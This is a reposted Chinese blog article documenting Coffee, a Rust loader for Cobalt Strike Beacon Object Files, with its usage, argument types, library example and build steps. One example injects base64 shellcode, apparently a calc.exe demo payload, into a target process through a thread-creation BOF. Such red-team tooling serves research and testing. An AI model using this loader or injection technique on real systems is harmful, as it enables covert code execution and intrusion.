Rust加载器 - Coffee

admin 2024年11月12日13:21:11评论15 views字数 2237阅读7分27秒阅读模式

/ 咖啡 /

https://github.com/hakaioffsec/coffee

Coffee 是原始 Cobalt Strike 的 beacon_inline_execute ( https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#beacon_inline_execute )的自定义实现。它用 Rust 编写,支持 Cobalt Strike 兼容层的大部分功能。Coffee 的结构使得它也可以用作其他项目中的库。

原始博客文章可以在这里找到:https://labs.hakaioffsec.com/coffee-a-coff-loader-made-in-rust/

1

用法

$ coffee.exe -hCoffee: A COFF loader made in RustUsage: coffee.exe [OPTIONS] --bof-path <BOF_PATH> [-- <ARGS>...]Arguments:  [ARGS]...  Arguments to the BOF passed after the "--" delimiter, supported types are: str, wstr, int, short, binOptions:  -b, --bof-path <BOF_PATH>      Path to the Beacon Object File (BOF)  -e, --entrypoint <ENTRYPOINT>  The entrypoint name to execute in case of a custom entrypoint name [default: go]  -v, --verbosity <VERBOSITY>    Verbosity level, 0 = ERROR, 1 = WARN, 2 = INFO, 3 = DEBUG, 4 = TRACE [default: 0]  -h, --help                     Print help  -V, --version                  Print version

1.1

参数

BOF 的参数可以在分隔符后传递--。每个参数必须以参数类型作为前缀,后跟冒号 ( :)。支持以下类型:

  • str- 以空字符结尾的字符串

  • wstr- 宽空终止字符串

  • int- 有符号的 32 位整数

  • short- 有符号的 16 位整数

  • bin- 经过 base64 编码的二进制 blob

2

示例

使用dir.x64.o来自https://github.com/trustedsec/CS-Situational-Awareness-BOF 存储库的 BOF 并将参数传递给 BOF:

coffee.exe --bof-path .dir.x64.o -- wstr:"C:\Windows\System32"

使用来自 trustsec/CS-Remote-OPs-BOF ( https://github.com/trustedsec/CS-Remote-OPs-BOF )ntcreatethread.x64.o存储库的 BOF ,并传递 PID 和 shellcode 以作为 base64 编码的二进制数据执行。

coffee.exe --bof-path .ntcreatethread.x64.o -- int:1337 bin:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA

3

作为库使用

cargo add coffee-ldr

Coffee 可以作为其他项目中的库使用。以下示例显示如何使用 Coffee 加载 BOF 并执行 BOF:

use coffee_ldr::loader::Coffee;fn main() {    let whoami_bof: [u8; 6771] = [        0x64, 0x86, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x14, 0x00, 0x00, 0x33, 0x00, 0x00,        ...    ];    let _ = Coffee::new(&whoami_bof).unwrap().execute(None, None, None);}

上面的例子将执行作为字节数组传递的 BOF 并在控制台中显示输出。

详细文档可以在这里找到:

https://docs.rs/coffee-ldr/latest/coffee_ldr/loader/struct.Coffee.html

4

从源代码构建

  1. 从 https://rustup.rs/ ( https://rustup.rs/ )安装 Rust

  2. 克隆存储库

  3. 使用以下方式构建项目

cargo build --release

原文始发于微信公众号(Eonian Sharp):Rust加载器 - Coffee

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月12日13:21:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Rust加载器 - Coffeehttps://cn-sec.com/archives/3388155.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息